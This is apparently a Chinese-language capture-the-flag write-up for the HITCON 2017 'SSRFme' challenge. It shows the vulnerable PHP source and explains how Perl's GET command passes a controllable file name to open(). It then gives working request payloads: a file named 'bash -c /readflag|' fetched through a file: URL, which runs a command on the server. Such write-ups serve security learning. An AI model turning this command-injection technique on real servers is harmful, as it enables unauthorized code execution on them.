[HITCON 2017]SSRFme
打开题目,就是源码
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];//输出ip地址
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);//创建文件夹
@chdir($sandbox);//改变目录至改目录下
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);//pathinfo()函数
$dir = str_replace(".", "", basename($info["dirname"]));//目录路径
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);//文件名
highlight_file(__FILE__);
分析一下:
题目会将orange和ip地址进行拼接,然后md5加密,创建该文件夹。
需要注意shell_exec("GET " . escapeshellarg($_GET["url"]))
存在命令执行,前提是文件名可控,且文件必须存在,然后才能触发代码执行
相关的博客:perl脚本中GET命令执行漏洞([HITCON 2017]SSRFme)
大概的意思是perl中的GET函数调用了open处理,需要open函数的第二个参数(path)可控,类似于把文件名拼接导入命令导致的命令执行
pathinfo()函数
pathinfo() 函数以数组的形式返回关于文件路径的信息。
首先查看下根目录文件
?url=/&filename=a
创建后,访问
/sandbox/xxxxxxxxxxxxxxxxx/a
其中xxxxxxxxxxxxxxxxx
每个人都不同,这里只是代称,可以通过本地运行得到
<?php
$a = "111.111.111.111";//举例
$sandbox = "sandbox/" . md5("orange" . $a);
echo $sandbox;//输出xxxxxxxxxxxxxxxxxxx
访问,得到根目录
注意/readflag,应该是需要执行,然后才能得到flag
payload
open函数支持file协议; 可以利用base -c "cmd"
进行命令执行
先创建文件bash -c /readflag|
?url=&filename=bash -c /readflag|
创建文件后,再通过file协议,将读取的flag放入$data中,通过file_put_contents导入a中,然后访问a即可
?url=file:bash -c /readflag|&filename=a
/sandbox/xxxxxxxxxxxxxxxx/a